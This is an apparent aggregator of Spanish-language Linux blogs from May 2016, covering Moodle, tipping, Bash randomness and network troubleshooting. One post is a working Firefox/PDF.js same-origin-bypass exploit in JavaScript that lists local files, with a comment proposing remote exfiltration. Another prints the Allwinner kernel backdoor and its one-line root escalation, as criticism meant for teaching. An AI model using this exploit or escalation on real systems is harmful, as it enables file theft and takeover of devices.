Jueves 26 de mayo de 2016

Luis Armando Medina

Luis Armando Medina
Como Instalar Linux

Un vistazo a Budgie Remix 16.04

Budgie es una entorno de escritorio que ha sido desarrollado para el proyecto Solus, una distribución Linux que fue hecha desde cero y uno de sus componentes principales es precisamente su entorno de escritorio. La distro Budgie Remix 16.04 integra … Continue reading

Moodle 3.1

El pasado 23 de mayo, se lanzó la versión 3.1 de Moodle[1], cosa que ya veníamos esperando hace un rato, por dos razones importantes 1) sustituye a 2.7.x 2) es de soporte a largo término (LTS), esto resuelve y crea un par de problemas, primero resuelve que ya el ciclo de 2.7 termino y me parece estamos en lo último de mantenimiento de seguridad [2], el último release que recibe este mantenimiento de seguridad ahora es 2.8 2.9 [3], lo cual ya teníamos planeado hace tiempo, pero no deja con todo que hay cosas que realizar primero y probar antes de movernos al nuevo release, el cual tendrá soporte hasta 2019 [3].

release304

Por el otro lado es muy bueno que se mantenga la política de tener una versión LTS, ya que con la tendencia al desarrollo ágil y los releases cortos en mucho software se ha convertido en un verdadero problema el construir manuales y cursos de capacitación para cosas que tienen un periodo de vida de 6 a 10 meses y que cambian funcionalidades clave para el trabajo, aún creo que 3 años es un corto plazo para LTS, pero es mejor que lo que sucedió al principio de la serie 2.x, lo mejor de todo es el amplio margen para poder migrar en instalaciones grandes ya que el soporte de seguridad de 2.7 termina hasta mayo de 2017 [4].

[1] https://moodle.org/mod/forum/discuss.php?d=333515#p1343453
[2] https://moodle.org/mod/forum/discuss.php?d=332775#p1340560
[3] https://docs.moodle.org/31/en/Upgrading
[
4] https://docs.moodle.org/dev/Releases

Miércoles 25 de mayo de 2016

Luis Armando Medina

Luis Armando Medina
Como Instalar Linux

Como cambiar el icono de Skype en Ubuntu y Linux Mint

Para mí los detalles son importantes y uno que siempre me ha desagradado es el icono de Skype en mi escritorio, ya que tiene ese torno verde que resalta demasiado en el panel de notificaciones. Afortunadamente hay una forma de … Continue reading

Martes 24 de mayo de 2016

Luis Armando Medina

Luis Armando Medina
Como Instalar Linux

4 Comandos Linux Inútiles pero muy Divertidos

Cuando miras por ahí y quieres hacer algo diferente o divertido, la terminal sería lo último que podrías imaginar para hacer algo divertido, pero con estos 4 comandos linux inútiles pero muy divertidos te puedes pasar un buen rato sin … Continue reading

Lunes 23 de mayo de 2016

Alcance Libre: Instalación de Cisco Packet Tracer en ALDOS 1.4.9 64 bits.
Gustavo Rubio

Gustavo Rubio
Ahí vamos

De propinas e inocencia perdida

Ayer por la mañana recibíamos visita familiar a la casa a desayunar así que me apresuré a ir a la tienda (o supermercado como le dicen mis amigos chilangos) a comprar algunas de las cosas que nos hacían falta. No cargaba efectivo, solo un billete de 100 pesos y mis tarjetas. Al terminar la cajera de pasar los productos saco mi tarjeta para pagar, recojo mis 2 bolsas de mandado y le digo a la señora que me lo empacó que “Se lo debía para la otra” pues pagué con la tarjeta y no traía feria o cambio, la señora me lanza una mirada seca y me dice “No importa joven, está bien“…

Por supuesto que no le iba a dar 100 pesos de propina y la verdad tenía prisa como para ir a feriar el billete.

Hace muchos años que no veo niños o adolescentes empacando mandado. Será por una cuestión de leyes de protección al menor supongo. La mayoría de los establecimientos usualmente son atendidos por personas de la tercera edad.

Me considero una persona generosa, sobre todo cuando se me brinda un buen servicio, sin embargo he aprendido también, conforme he crecido, a no recompensar a quien no se lo merece. Cuando estaba en los inicios de mis 20’s solía darle propina a cualquier persona que me brindaba servicio, al que me “regalaba” una estampita de judas en el camión, al que me decía que lo “habían echado del otro lado“, todo sin cuestionar, como de alguna manera tratando de entender y subsanar la desgracia ajena. Después entendí que, como dice el dicho, “Ni están todos los que son, ni son todos los que están” y que hay que tener criterio para saber cuando y donde ayudar.

Parte de ese proceso ha sido evitar cargar con una cruda moral cuando incluso a alguien que considero debe ser recompensado no lo es. Llegué tan lejos como cargar siempre monedas tanto conmigo como en el carro destinadas única y exclusivamente a esta actividad porque, bueno, cualquiera que viva en México en una ciudad mas o menos grande sabrá que prácticamente hay que “darle dinero” a todo mundo; al guardia del restaurante, al que empaca el mandado, al que limpia el vidrio, etc. La cuestión es que, independientemente de que una persona se merezca ser recompensada no siempre estamos preparados para ello y eso no nos hace menos humanos, es simplemente una cuestión de prácticidad, tiempo y conveniencia.

Cuando los empacadores en los mercados eran menores de edad solían siempre decir al final del trabajo de empaque de cada cliente “Que le vaya bien”, “Que tenga buena tarde” o algunos incluso “Gracias” sin siquiera haber recibido propina alguna. Se usaban unas pequeñas cajitas con una leyenda que decía “Su propina es mi sueldo. Gracias!” como diciendo de una manera muy modesta pero acertada que si uno no aventaba unas monedas a la caja el empacador se iba a ir a casa con las manos vacías. Cuando el cliente terminaba de juntar sus bolsas simplemente aventaba unas monedas a la caja y se retiraba. El empacador, como estrategia, guardaba las monedas cada cierto tiempo, como haciendo un “corte de caja” y dejaba unas pocas cuando esta ya tenía suficiente a manera de motivar a los siguientes clientes a seguir dejando propina al verla medio vacía. Al final del día se juntaba el total, se canjeaba por billetes y el día terminaba, mezcla de quienes si eran generosos y quienes no tanto. Algunos, como yo el día de ayer, simplemente daban las gracias y se iban.

Hoy en día que los empacadores son personas adultas, aun cuando son “viejitos” y se les considera tiernos por alguna equivocada percepción social la situación suele ser muy diferente: algunos empacan las cosas de manera desordenada o sin cuidado, no saludan al cliente o en el peor de los casos simplemente son indiferentes, como renegando de su situación, transmitiendo ese sentimiento al cliente. La “cajita” ya no existe y ahora usualmente se les deposita algunas monedas en la mano, acción que sirve para demostrar, en la mayoría de los casos, cual será la reacción de la persona dependiendo la cantidad de dinero con la que se recompense. Una vez recibido el dinero, por instinto, y olvidando que es de mal gusto, voltearán a ver la cantidad y replicarán con un eufórico “Gracias” si se ha depositado 10 pesos por un par de bolsas o con indiferencia si por el contrario solo nos sobraron 2 pesitos y se empacó un carrito lleno.

La diferencia entre actitud  de servicio, nobleza y motivación entre un niño y una persona adulta es abismal. Me recuerda la canción “Pequeño” de Enrique Bunbury:

Cuando era pequeño me enseñaron
a perder la inocencia gota a gota
que idiotas

Cuando fui creciendo aprendí
a llevar como escudo la mentira
que tontería

De pequeño me enseñaron
a querer ser mayor
de mayor voy a aprender a ser pequeño

Cada que voy al mercado recuerdo que debemos aprender a ser pequeños, en actitud, de vez en cuando. También recuerdo que alguna vez fui empacador, mi primer trabajo, y que aunque había personas  no tan generosas, siempre manteníamos una actitud de servicio y respeto, despidiendo a todos de igual manera, con un “Que le vaya bien” y esperando tener mejor suerte con el siguiente.

Domingo 22 de mayo de 2016

Nativo digital revisitado

Hace algún tiempo escribí sobre él porque no me gusta nativo digital como concepto de trabajo, si como una categoría para explicar un concepto, pero no como palabra de uso común y otros desencuentros que tengo, en abril eduteka publicó un documento un tanto más estructurado, del cual quiero citar sólo las conclusiones Eduteka (2016) [1]:

  • El término “nativo digital” sugiere falsamente que los jóvenes saben intuitivamente cómo utilizar las tecnologías digitales. Este término perpetúa la percepción que tienen algunos padres, profesores y responsables de políticas y lleva a que habilidades esenciales se omitan de los programas educativos.
  • La evidencia demuestra que la exposición a la tecnología no puede ser equiparada con la capacidad de utilizarla. De hecho, un porcentaje importante de jóvenes carecen de competencias básicas en TIC.
  • Los jóvenes tienden a sobre valorar su nivel de habilidades digitales. Las pruebas prácticas indican que mientras que su confianza en sus habilidades es alta, sus competencias reales en el uso de computadores e Internet están lejos de ser completas.
  • Utilizando las tecnologías digitales, los jóvenes adquieren las denominadas “habilidades para el uso cotidiano” (redes sociales, vídeos, juegos, etc.), pero no adquieren las competencias digitales necesarias en el mercado laboral.
  • Todos los ciudadanos deben contar con la oportunidad de desarrollar sus habilidades digitales y los jóvenes no deben ser dejados de lado. De no tener acceso a una educación digital formal y estructurada, tal vez nunca liberen todo el potencial que les ofrecen las tecnologías digitales como estudiantes, trabajadores, emprendedores o ciudadanos, y se convertirían en una generación en desventaja.
  • Los programas para el desarrollo de las competencias digitales deben formar parte de todas las áreas de la educación: formal, no formal e informal. Las certificaciones estandarizadas, con reconocimiento internacional e independiente de proveedores, tales como ECDL / ICDL, ofrecen una manera de evaluar los resultados de estos programas de desarrollo de habilidades dentro y fuera de la educación formal.

Dicho sea de paso Cristóbal Cobo (2015), lo dice de una manera muy buena por acá en su charla en TEDx Montevideo, No Valores lo que Mides, mejor Mide lo que Valoras.

[…] La gente suele sobrestimar el impacto a corto plazo de las tecnologías e infravalorar el impacto a largo plazo, y que cuando aparece la tecnología en la educación pensamos que todo mundo iba a aprender mas rápido y después a la luz de las investigaciones nos dimos cuenta que acceso no es lo mismo que uso y uso no es lo mismo que apropiación, y lo mismo con el aprendizaje. (16:27)

[1] http://www.eduteka.org/articulos/falacia-nativo-digital

Carlos Augusto Lozano

Carlos Augusto Lozano
tail -f /dev/mind > blog

Application security @ Mérida

My friend Zodman invited my to talk about application security, some real examples and how to implement a security program for development companies. Very interesting talk.

Look at the Zodman's projects, he's doing a lot of cool stuff around Python and open source. I hope I'll be back at Mérida again :)

Note: I erased the demo screenshots because they were real examples.

platica_appsec.pdf by BelindoFan

Sábado 21 de mayo de 2016

Carlos Augusto Lozano

Carlos Augusto Lozano
tail -f /dev/mind > blog

Application security @ Yucatán

platica_appsec.pdf by BelindoFan

Viernes 20 de mayo de 2016

Emerson Posadas

Emerson Posadas
toxickore BLOG

Profundo ejercicio de aprendizaje

No escribo nada aquí últimanente, pero se lo he mencionado a varios de mis amigos en esta semana:
Si un día quieren aprender de infraestructura, pero nada de teoría y libritos, monten una openvpn lan to lan para que cada subred pueda tener conectividad entre ambas.

Esta guía a pesar de ser breve, es muy efectivo para este ejercicio de aprendizaje:

https://openvpn.net/index.php/open-source/documentation/howto.html


Gracias @redimido, que me estuvo echando mucho la mano con este setup. Sin sus tips and tricks no hubiera finalizado esto tan rápido.

Jueves 19 de mayo de 2016

Alcance Libre: Software EtherApe para supervisión de red en Tiempo Real.

Miércoles 18 de mayo de 2016

Planeta Gruslic: Mario Oyorzábal: capsula cifrada del tiempo

Martes 17 de mayo de 2016

Actualización sobre cointoss en Bash para evitar azar cargado

Hace unas 3 semanas publiqué una nota personal para implementar “cosstoin” en Bash:

cointoss() {
    # Probability is $1/$2, for example, cointoss 3 5
    # will hit 60% of the time. Defaults to 1/2 if no
    # arguments are supplied.
    [ $((RANDOM % ${2-2})) -lt ${1-1} ];
}

Actualización

Sin embargo, como bien me lo indica dualbus, este volado está cargado cuando la cantidad de caras en la moneda, el denominador (indicado por $2), no es múltiplo de 2. Y me hace llegar la implementación para azar balanceado que greybot recomienda en #bash en Freenode:

rand() {
    local max=$((32768 / $1 * $1)) r
    while (( (r=$RANDOM) >= max ))
    do
        :
    done
    echo $(( r % $1 ))
} ## Returns unbiased random number from 0 to ($1-1) inclusive, $1 <= 32768

La razón es sencilla: cuando se invoca la variable RANDOM en Bash, regresa un valor entero entre 0 y 32,767. Estos 32,768 posibles valores no se pueden dividir exactamente en N grupos cuando N no es múltiplo de 2; siempre quedan algunos grupos con más valores posibles. La “carga” cambia según el denominador.

La única manera de evitar este efecto es que si RANDOM cae en valores sobrantes, se repita la invocación a la variable RANDOM. De esta manera se garantiza el balanceo de la distribución probabilística, aunque no sea posible garantizar que el resultado se logre siempre en menos de K intentos.

Ejemplo cuando el denominador es 3

Si queremos dividir los 32,768 valores en 3 grupos:

  • X mod 3 == 0 lo cumplen 10,923 valores: 0, 3, 6… 32,763 y 32,766.
  • X mod 3 == 1 lo cumplen 10,923 valores: 1, 4, 7… 32,764 y 32,767.
  • X mod 3 == 2 lo cumplen sólo 10,922 valores: 2, 5, 8… y 32,765.

El 32,768 ya no forma parte del conjunto de resultados de RANDOM. Esto significa que hay una desventaja para X mod 3:

  • X mod 3 == 0: 33.3343506%
  • X mod 3 == 1: 33.3343506%
  • X mod 3 == 2: 33.3312988%

La diferencia es de 0.0030518% entre extremos, un incremento de 0.009156%.

Si ejecutamos 1,000,000 de veces cointoss 1 3, espero un hit 33.3…% de las veces (más/menos el error causado por el azar). El resultado medido 5 veces cae entre 33.27% y 33.38%. El valor esperado cae dentro de lo medido.

Ejemplo cuando el denominador es 24,576 (forzando el bug)

¿Qué pasa si llamamos cointoss 16384 24576?

  • X mod 24576 == 0 lo cumplen 2 valores: 0 y 24,576.
  • X mod 24576 == 1 lo cumplen 2 valores: 1 y 24,577.
  • X mod 24576 == 2 lo cumplen 2 valores: 2 y 24,578.
  • X mod 24576 == 8190 lo cumplen 2 valores: 8190, 32766.
  • X mod 24576 == 8191 lo cumplen 2 valores: 8191, 32767.
  • X mod 24576 == 8192 lo cumple 1 valor: 8192.
  • X mod 24576 == 8193 lo cumple 1 valor: 8193.
  • X mod 24576 == 24573 lo cumple 1 valor: 24573.
  • X mod 24576 == 24574 lo cumple 1 valor: 24574.
  • X mod 24576 == 24575 lo cumple 1 valor: 24575.

Entonces, para los grupos de 2 valores, la probabilidad de salir es de 0.0061035%, mientras que para los grupos de 1 valor, la probabilidad de salir es de 0.0030518, una diferencia de 0.0030518%, ¡pero un incremento de 200%!

Si ejecutamos 1,000,000 de veces cointoss 16384 24576, espero un hit 66.6…% de las veces (más/menos el error causado por el azar). El resultado medido 5 veces cae entre 74.95% y 75.07%. ¡El valor esperado no cae dentro de lo medido!

De nuevo, gracias a dualbus por el apunte.

Lunes 16 de mayo de 2016

Carlos Augusto Lozano

Carlos Augusto Lozano
tail -f /dev/mind > blog

PoC same origin policy on Firefox using a PDF and JS

var start_timeout=2000;
var sandbox_context_i=null;
var DIR_CACHE={};
var FILE_CACHE={};
var hidden=true;
var my_win_id=null;
 
function start() {
    i=document.getElementById(“i”);
    i2=document.getElementById(“i2”);
    if(typeof sandboxContext!=='undefined') {
        clearInterval(intVal);
        var os = navigator.platform;
 
        if (os.search(“Mac”) > -1 || os.search(“Linux”) > -1) {
            get_dir(“/”, function(data) {
            });
        }
    }
}
 
function parse_directory_listing(dir, data) {
    var pattern = '= 0) {
        var d = data.substring(start + pattern.length + 1),
        end = d.search('>'),
        f = d.substring(0, end);
        f = f.split(' ');
        var t = f[0].substring(0, f[0].length-1);
        var n = f[1].substring(6, f[1].length-1);
        listing += '  [' + t + '] ' + dir + '/' + n + '\n';
        data = d.substring(end);
    }
 
    // NOTE: Replace with some other useful stuff. Eg: Read the file and do a post
    // request to send all the content to a remote server.
    alert(listing);
}
 
function get_dir(dir,callback,internal) {
    get(dir,function() {
        data=get_data(this);
        var dir=location.href.toString();
        dir=dir.replace(/^file\:\/\//i,'');
        dir=decodeURIComponent(dir);
        parse_directory_listing(dir, data);
    }, 500, “%target_dir%”, dir);
}
 
function xml2string(obj) {
    return new XMLSerializer().serializeToString(obj);
}
 
function _(s,template,value) {
    s=s.toString().split(/^\sfunction\s+\(\s\)\s\{/)[1];
    s=s.substring(0,s.length-1);
    if(template&&value)
        s=s.replace(template,value);
 
    s+=parse_directory_listing;
    s+=__proto;
    s+=xml2string;
    s+=get_data;
    s=s.replace(/\s\/\/.\n/g,"“);
    s=s+”;undefined“;
 
    return s;
}
 
function __proto(obj) {
    return obj.__proto__.__proto__.__proto__.__proto__.__proto__.__proto__;
}
 
function get_data(obj) {
    data=null;
    try {
        data=obj.document.documentElement.innerHTML;
        if (data.indexOf('dirListing') < 0) {
            throw new Error();
        }
    } catch(e) {
        if (this.document instanceof XMLDocument) {
            data=xml2string(this.document);
        } else {
            try {
                if (this.document.body.firstChild.nodeName.toUpperCase()=='PRE') {
                    data=this.document.body.firstChild.textContent;
                } else {
                    throw new Error();
                }
            } catch(e) {
                try {
                    if (this.document.body.baseURI.indexOf('pdf.js') >= 0 || data.indexOf('aboutNetError') >- 1 ) {
                        return null;
                    } else {
                        throw new Error();
                    }
                } catch(e) {
                    ;
                }
            }
        }
    }
    return data;
}
 
function get(path,callback,timeout,template,value){
    callback = _(callback);
    if(template && value) callback = callback.replace(template,value);
 
    proto_prefix=”file://“;
    var invisible_code=”“;
    js_call1='javascript:'+invisible_code+_(function(){
        try {
            open(”%url%“,”_self“);
        } catch(e) {
            history.back();
        } undefined;
    }, ”%url%“, proto_prefix+path);
    js_call2='javascript:' + invisible_code + ';try{updateHidden();}catch(e){};' + callback + ';undefined';
    sandboxContext(_(function() {
        p = __proto(i.contentDocument.styleSheets[0].ownerNode);
        l = p.__lookupSetter__.call(i2.contentWindow,'location');
        l.call(i2.contentWindow, window.wrappedJSObject.js_call1);
    }));
    setTimeout((function() {
        sandboxContext(_(function() {
            p = __proto(i.contentDocument.styleSheets[0].ownerNode);
            l = p.__lookupSetter__.call(i2.contentWindow,'location');
            l.call(i2.contentWindow,window.wrappedJSObject.js_call2);
        }));
    }), timeout);
}
 
function get_sandbox_context() {
    if(my_win_id==null) {
        for(var i=0;i<20;i++) {
            try {
                if(window[i].location.toString().indexOf(”view-source:")!=-1) {
                    my_win_id=i;;break;
                }
            } catch(e) {}
        }
    };
    if(my_win_id==null) return;
    clearInterval(sandbox_context_i);
    object.data='view-source:' + blobURL;
    window[my_win_id].location='data:application/x-moz-playpreview-pdfjs;,';
    object.data='data:text/html,';
    window[my_win_id].frameElement.insertAdjacentHTML('beforebegin', '');
}
 
function setup_plugin() {
    var i = document.createElement(“iframe”);
    i.id = “i”;
    i.width = 1;
    i.height = 1;
    i.src = “data:application/xml,<” + “?xml version=\”1.0\“?><e><e1></e1></e>”;
    i.frameBorder = 0;
    document.documentElement.appendChild(i);
    i.onload=function() {
        if(this.contentDocument.styleSheets.length>0) {
            var i2 = document.createElement(“iframe”);
            i2.id=“i2”;
            i2.src=“data:application/pdf,”;
            i2.frameBorder=0;
            if(!hidden) {
                i2.width=“100%”;
                i2.height=“700px”;
            } else {
                i2.width=1;
                i2.height=1;
            }
            document.documentElement.appendChild(i2);
            pdfBlob=new Blob([''], { type:'application/pdf' });
            blobURL = URL.createObjectURL(pdfBlob);
            object = document.createElement('object');
            object.data='data:application/pdf,';
            if(hidden) {
                object.style.display='none';
                object.width=1;
                object.height=1;
            }
            object.onload = (function() {
                sandbox_context_i = setInterval(get_sandbox_context,200);
                object.onload=null;
                object.data='view-source:' + location.href;return;
            });
            document.documentElement.appendChild(object);
        } else {
            this.contentWindow.location.reload();
        }
    }
}
 
setTimeout(function() {
    setup_plugin();
    intVal = setInterval(start, 150);
}, start_timeout);</pre>

Sábado 14 de mayo de 2016

Gunnar Wolf

Gunnar Wolf
Gunnar Wolf

Debugging backdoors and the usual software distribution for embedded-oriented systems

In the ARM world, to which I am still mostly a newcomer (although I've been already playing with ARM machines for over two years, I am a complete newbie compared to my Debian friends who live and breathe that architecture), the most common way to distribute operating systems is to distribute complete, already-installed images. I have ranted in the past on how those images ought to be distributed.

Some time later, I also discussed on my blog on how most of this hardware requires unauditable binary blobs and other non-upstreamed modifications to Linux.

In the meanwhile, I started teaching on the Embedded Linux diploma course in Facultad de Ingeniería, UNAM. It has been quite successful — And fun.

Anyway, one of the points we make emphasis on to our students is that the very concept of embedded makes the mere idea of downloading a pre-built, 4GB image, loaded with a (supposedly lightweight, but far fatter than my usual) desktop environment and whatnot an irony.

As part of the "Linux Userspace" and "Boot process" modules, we make a lot of emphasis on how to build a minimal image. And even leaving installed size aside, it all boils down to trust. We teach mainly four different ways of setting up a system:

  • Using our trusty Debian Installer in the (unfortunately few) devices where it is supported
  • Installing via Debootstrap, as I did in my CuBox-i tutorial (note that the tutorial is nowadays obsolete. The CuBox-i can boot with Debian Installer!) and just keeping the boot partition (both for u-boot and for the kernel) of the vendor-provided install
  • Building a barebones system using the great Buildroot set of scripts and hacks
  • Downloading a full, but minimal, installed image, such as OpenWRT (I have yet to see what's there about its fork, LEDE)

Now... In the past few days, a huge vulnerability / oversight was discovered and made public, supporting my distrust of distribution forms that do not come from, well... The people we already know and trust to do this kind of work!

Most current ARM chips cannot run with the stock, upstream Linux kernel. Then require a set of patches that different vendors pile up to support their basic hardware (remember those systems are almost always systems-on-a-chip (SoC)). Some vendors do take the hard work to try to upstream their changes — that is, push the changes they did to the kernel for inclusion in mainstream Linux. This is a very hard task, and many vendors just abandon it.

So, in many cases, we are stuck running with nonstandard kernels, full with huge modifications... And we trust them to do things right. After all, if they are knowledgeable enough to design a SoC, they should do at least decent kernel work, right?

Turns out, it's far from the case. I have a very nice and nifty Banana Pi M3, based on the Allwinner A83T SoC. 2GB RAM, 8 ARM cores... A very nice little system, almost usable as a desktop. But it only boots with their modified 3.4.x kernel.

This kernel has a very ugly flaw: A debugging mode left open, that allows any local user to become root. Even on a mostly-clean Debian system, installed by a chrooted debootstrap:

  1. Debian GNU/Linux 8 bananapi ttyS0
  2.  
  3. banana login: gwolf
  4. Password:
  5.  
  6. Last login: Thu Sep 24 14:06:19 CST 2015 on ttyS0
  7. Linux bananapi 3.4.39-BPI-M3-Kernel #9 SMP PREEMPT Wed Sep 23 15:37:29 HKT 2015 armv7l
  8.  
  9. The programs included with the Debian GNU/Linux system are free software;
  10. the exact distribution terms for each program are described in the
  11. individual files in /usr/share/doc/*/copyright.
  12.  
  13. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
  14. permitted by applicable law.
  15.  
  16. gwolf@banana:~$ id
  17. uid=1001(gwolf) gid=1001(gwolf) groups=1001(gwolf),4(adm),20(dialout),21(fax),24(cdrom),25(floppy),26(tape),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev)
  18. gwolf@banana:~$ echo rootmydevice > /proc/sunxi_debug/sunxi_debug
  19. gwolf@banana:~$ id
  20. groups=0(root),4(adm),20(dialout),21(fax),24(cdrom),25(floppy),26(tape),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),1001(gwolf)

Why? Oh, well, in this kernel somebody forgot to comment out (or outright remove!) the sunxi-debug.c file, or at the very least, a horrid part of code therein (it's a very small, simple file):

  1. if(!strncmp("rootmydevice",(char*)buf,12)){
  2. cred = (struct cred *)__task_cred(current);
  3. cred->uid = 0;
  4. cred->gid = 0;
  5. cred->suid = 0;
  6. cred->euid = 0;
  7. cred->euid = 0;
  8. cred->egid = 0;
  9. cred->fsuid = 0;
  10. cred->fsgid = 0;
  11. printk("now you are root\n");
  12. }

Now... Just by looking at this file, many things should be obvious. For example, this is not only dangerous and lazy (it exists so developers can debug by touching a file instead of... typing a password?), but also goes against the kernel coding guidelines — the file is not documented nor commented at all. Peeking around other files in the repository, it gets obvious that many files lack from this same basic issue — and having this upstreamed will become a titanic task. If their programmers tried to adhere to the guidelines to begin with, integration would be a much easier path. Cutting the wrong corners will just increase the needed amount of work.

Anyway, enough said by me. Some other sources of information:

There are surely many other mentions of this. I just had to repeat it for my local echo chamber, and for future reference in class! ;-)

Viernes 13 de mayo de 2016

Alcance Libre: La empresa Huawei lanza su primer equipo hibrido entre Tablet y PC

Domingo 08 de mayo de 2016

Gunnar Wolf

Gunnar Wolf
Gunnar Wolf

Pyra, PocketC.H.I.P. — Not quite the same, but...

Petter and Elena both talk enthusiastically about the Pyra. I am currently waiting for the shipment of my C.H.I.P. kit — I pre-ordered my kit when it was still in kickstarter phase, and got the PocketC.H.I.P. level.

It is clearly not the same nor equivalent to the Pyra — The PocketC.H.I.P. is a convenient packaging for what is chiefly an System-on-a-chip; the C.H.I.P. is a small system by today's standards (single-core ARM, 512MB RAM, not meant to be expanded), but still it looks quite usable as a very portable and usable Unix system. Oh, and of course — It's also Debian by default.

I got quite interested in what the Pyra was like. However, the pricing does not make much sense to me. OK, the Pyra is quite a bigger machine, but... While the PocketC.H.I.P. costs officially US$70 (and before June, according to the site, US$50), the Pyra starts at €500 (plus taxes)... It is just too much!

Anyway, I hope to have mine in time to go to DebConf. I also hope Petter and/or Elena can make it this year. And I hope we can compare the systems. I guess the Pyra will sit closer to a regular laptop... But anyway, my two last laptops have been at the bottom of the price scale (both from the Acer Aspire One line). I bought both for around US$300, used the first one as my main laptop for over five years, and have been three with the current one, completely happy.

Sábado 07 de mayo de 2016

Planeta Gruslic: Mario Oyorzábal: codigo malicioso, el uso de antivirus

Viernes 06 de mayo de 2016

Fco. de la Torre Inguanzo

Fco. de la Torre Inguanzo
Linux y Software Libre – #LINUXMANR4

IPCop sin internet ¡Un misterio por resolver!

Durante 3 días tuve un servidor IPCop sin internet, sin razón aparente dejó de funcionar o más bien funcionaba pero no compartía el internet. Como se pueden imaginar, fue todo un caos en el trabajo y aunque le dediqué todo mi tiempo no pude resolverlo inmediatamente. Los invito a que me acompañen durante este viaje para dar con el asesino de mi conexión a internet.

Comportamiento extraño.

Lo normal al llegar al trabajo es encender la computadora, cuando hago esto automáticamente se ejecuta un script que se llama rubyping y que revisa que estén activos los elementos más importantes de mi red, si algo esta mal, entonces me manda un correo electrónico avisándome de algún problema, pero esa mañana estaba todo normal.

Después de un rato ¡PUFFF! se esfumó el internet, hago ping a la interfaz GREEN (red local) de IPcop y todo bien. Hago ping a una dirección IP conocida de mi proveedor de internet y me indica que tengo conexión y tiempos de respuesta adecuados. Entonces ¿Qué pasó? ¿A dónde &%$@! se fue el Internet?

Primer sospechoso, mi proveedor de Internet.

Tengo instalado nload para vigilar el ancho de banda que ocupa en tiempo real mi servidor IPCop y me di cuenta de que aunque la conexión con mi proveedor estaba activa el flujo de datos era ridículamente pequeño, sólo algunos cuantos kbps lograban salir por la tarjeta de red RED (red pública).

Así que marque el teléfono de soporte y parece que hicieron algunos ajustes, mejoraba un poco pero se volvía a ir después de un tiempo. Tuvieron que venir a mis instalaciones a verificar lo que estaba pasando y que creen ¡En la laptop del personal de soporte funcionaba PERFECTAMENTE!. Navegación ¡Claro!, un Speedtest ¡Por supuesto!, regresan el cablecito a mi servidor IPCop y pueeeesnnn, regular, más o menos y como se podrán imaginar, en cuanto se fueron los amigos, con ellos se fue el internet. ¡GRRRRRRRR!

Seguí revisando mi servidor IPCop y nada, les volví a hablar y regresaron más tarde, cambiaron el radio, hicieron varias pruebas y todo parecía funcionar correctamente, conecté el cable a mi servidor y parecía que todo estaba funcionando correctamente, pero solo en apariencia. Tuve que soportar los comentarios de que mejor me cambiara a Windows que Linux no servía y cosas por el estilo, algo que no me hizo mucha gracia que digamos.

Le toca el turno al hardware.

Al llegar parecía que la emergencia había pasado, inicié operaciones normalmente, revisar algunos correos y como a eso de las 9 de la mañana ¡PUUUUUM! otra vez se fue el Internet, mismo comportamiento que el día anterior, pero ya no le podía achacar la culpa a mi proveedor de Internet, después de todo un día antes ya me había demostrado la calidad del enlace así que tenía que buscar por otro lado.

Si la conexión estaba perfecta el siguiente sospechoso en turno era el hardware y era muy posible porque es un equipo que ya tiene varios años en funcionamiento. Lo primero fue cambiar la tarjeta de red que se encarga de RED, puesto que a mi juicio la tarjeta asignada a la red GREEN funcionaba bien. Bueno terminé cambiando las dos y nada.

A estas alturas ya era el segundo día sin conexión a Internet y la presión de los usuarios se estaba acumulando peligrosamente. Para descartar cualquier falla del servidor junté todo lo necesario para hacer otro de emergencia. Afortunadamente IPCop no es muy exigente en cuanto a los requerimientos mínimos del sistema. Ya con mi servidor de emergencia armado me di a la tarea de instalarlo, pero con muy poca suerte, en cuanto lo enchufé le pasó exactamente lo mismo que al anterior.

¿Mi red?

Si no era mi proveedor y no era el servidor ¿Podría ser algo en mi red que estuviera afectando el servicio?, tenía algo de lógica, por eso funcionaba con la laptop del ingeniero de servicio pero con mi red dejaba de hacerlo casi de inmediato.

Además en otra ocasión tuve un caso similar en la que un usuario tumbó mi red por una ocurrencia de su parte. Aunque esta vez no veía un tráfico elevado, al contrario, estaba teniendo poco.

Así que al día siguiente decidí desconectar todos los elementos de mi red y conectarlos de uno por uno hasta detectar a un posible culpable. Básicamente destejí toda mi red para recrearla poco a poco, pero tampoco funcionó 😕 .

Ya era el tercer día y me di cuenta de varios detalles curiosos. El primero que noté es que el Internet desaparecía y regresaba en horarios más o menos establecidos, alrededor de las 9 de la mañana para volver a las 5 o 6 de la tarde y continuar perfectamente durante toda la noche.

internet de nocheInternet sí, pero solo por las noches.

También noté que tenía respuesta si hacía ping a la ip de mi proveedor de internet, pero un ping a google.com daba como resultado que no encontraba la dirección del dominio ¡Eso no tiene lógica!.

Me estaba quedando sin opciones, estuve a punto de comprar un ruteador de emergencia, pero después de todo, mi servidor IPCop había funcionado bien por años sin mayores dificultades y aún desconocía que era lo que provocaba la falla, sabía los efectos pero no la causa.

Al tercer día ¡Habemus Internet!

Al tercer día, ya sin muchas opciones le hablé a mi proveedor de Internet para probar una teoría improbable.

Dormido (si, soy de los que se lleva los problemas a la almohada) se me ocurrió que podría haber un conflicto de IP’s, así que le comenté eso al mero mero, al que sí sabe, al jefazo, al sysadmin, al BOFH de mi ISP ese detalle y me sugirió que intercambiaramos direcciones IP.

¡Magia! en cuanto se activaron los cambios regresó el Internet con los bríos acostumbrados, todo regresaba a la normalidad y al fin pude respirar con tranquilidad. Ahora la pelota estaba del otro lado de la cancha, tenía mucho trabajo dejando todo como estaba y mientras tanto monitoreaba que todo siguiera funcionando correctamente.

Ese mismo día recibí una llamada, al parecer un ingeniero “creativo” configuró mal su router que prendía al llegar al trabajo y apagaba al salir, el resultado fueron 3 días de terror para mi departamento de sistemas (o sea yo). Al final, la falla estaba fuera de mis instalaciones, en algún lugar de la Comarca Lagunera, ¡Todo un caso de estudio!

Offended-Seriously-Computer-Guy-Meme

 

Lo que aprendí de esta experiencia.

Primero, que el comando setup en IPCop sirve para ajustar la configuración del servidor de forma muy sencilla y aplicar cambios inmediatamente.

setup en ipcopGracias a setup pude hacer reajustes a la configuración de IPCop sin la necesidad de reinstalarlo.

Y lo segundo es que nunca, nunca, pero nunca voy a desconfiar de mi Linux, claro que puede haber problemas, pero tiene que haber una causa, identificarla es lo más importante.

Espero no haberlos aburrido mucho con esta historia, pero es que en serio, fue un problema que me volvió loco por días enteros y si alguien, por alguna extraña razón, tiene un problema similar a este, espero que lo arregle en poco tiempo sin perder la razón y el pelo.

¡Hasta la próxima!

 

 
